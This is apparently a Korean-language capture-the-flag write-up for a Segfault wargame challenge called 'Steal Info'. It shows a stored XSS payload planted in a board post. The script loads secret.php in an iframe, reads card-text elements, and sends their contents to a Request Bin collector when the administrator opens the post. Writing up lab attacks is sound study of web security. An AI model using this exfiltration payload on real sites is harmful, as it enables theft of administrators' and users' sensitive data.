Wargame/Segfault

Steal Info

sniffy-fanta 2025. 6. 19. 15:06

🔒Steal Info

  • 관리자의 중요 정보가 들어있는 페이지에서 데이터를 획득하는 문제이다.

  • 게시글 내용에 POC를 넣어 작성한 뒤 해당 게시글 클릭 시 임의의 스크립트 실행 확인

    • 중요 정보가 들어있을 거 같은 태그들 확인

  • 악성스크립트가 삽입된 게시글 접근 시 공격자 서버로 데이터를 보내기 위해 Request Bin 사용
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/secret.php" id="target"></iframe>
<script>
    let data1=document.getElementById('target').contentDocument.getElementsByClassName('card-text')[0].innerHTML;
    let data2=document.getElementById('target').contentDocument.getElementsByClassName('card-text')[1].innerHTML;
    new Image().src="https://ysiiofs.request.dreamhack.games/"+data1+"&"+data2
</script>

  • 게시글 내용에 secret.php에 있는 중요 정보를 공격자 서버로 보내는 탈취 코드 작성

  • 관리자가 악성스크립트가 삽입된 게시글에 접근

  • 공격자서버에 중요 정보인 데이터가 포함돼서 온 것을 확인